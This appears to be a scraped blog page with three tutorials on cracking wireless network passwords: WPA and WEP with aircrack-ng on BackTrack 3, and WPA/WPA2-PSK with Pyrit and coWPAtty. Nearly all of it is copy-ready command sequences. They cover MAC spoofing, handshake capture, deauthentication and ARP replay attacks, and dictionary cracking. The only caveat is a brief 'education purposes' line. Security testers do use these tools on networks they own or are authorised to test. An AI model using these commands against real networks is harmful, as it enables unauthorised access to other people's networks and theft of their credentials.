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Aircrack-ng aireplay airmon airodump BackTrack BT crack Encryption hack howto Linux Passwords Ubuntu Video VMWare WEP wifi Windows wireless WPA

HowTo: Crack WPA with Backtrack 3

This is an easy to follow tutorial on how to crack a WPA encrypted password. This information should only be used for education purposes.

Steps:

  1. airmon-ng stop wlan0
  2. ifconfig wlan0 down
  3. macchanger –mac 00:11:22:33:44:55 wlan0
  4. airmon-ng start wlan0
  5. airodump-ng wlan0
  6. airodump-ng -c (channel) -w (file name) –bssid (bssid) wlan0
  7. aireplay-ng -0 5 -a (bssid)wlan0
  8. aircrack-ng (filename-01.cap)-w (dictionary location)
BackTrack links

Categories
Aircrack-ng aireplay airmon airodump BackTrack BT crack Encryption hack howto Linux Passwords Ubuntu Video VMWare WEP wifi Windows wireless WPA

HowTo: Crack WEP with BackTrack 3

This is a tutorial on how to crack a wep encrypted password. This information should only be used for education purposes.

Steps:

  1. airmon-ng stop wlan0
  2. ifconfig wlan0 down
  3. macchanger –mac 00:11:22:33:44:55 wlan0
  4. airmon-ng start wlan0
  5. airodump-ng wlan0
  6. airodump-ng -c (channel) -w (file name) –bssid (bssid) wlan0
  7. aireplay-ng -1 0 -a (bssid) -h 00:11:22:33:44:55 wlan0
  8. aireplay-ng -3 -b (bssid) -h 00:11:22:33:44:55 wlan0
  9. aircrack-ng -b (bssid) (filename-01.cap)
BackTrack links

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crack hack Linux Passwords Security Windows wireless WPA

Wireless WPA/WPA2-PSK GPU Cracking with Pyrit – How to Use Pyrit in BackTrack

Pyrit is a GPU cracker for attacking WPA/WPA2 PSK protocols. It allows to create massive databases, pre-computing part of the WPA/WPA2-PSK authentication phase in a space-time-tradeoff.  Pyrit works with many platforms including CUDA, ATI-Stream, OpenCL and VIA Padlock.

How to
Listing available cores

pyrit list_cores

Determining performance of cores

pyrit benchmark

Create a new ESSID

pyrit -e Linksys create_essid

Import list of passwords

pyrit -f dict.txt import_passwords

 Start Batch Processing

pyrit batch

Cracking WPA/WPA2-PSK using pyrit/coWPAtty

pyrit -e “Linksys” -f dict.txt passthrough | cowpatty -d – -r wpa2handshake.cap -s “Linksys“
“-e” ESSID for the command
“-f” Filename for the command (’-’ is stdin/stdout)
“-d” Hash file
“-” Accept words on stdin
“-r” Packet capture file
“-s” Network SSID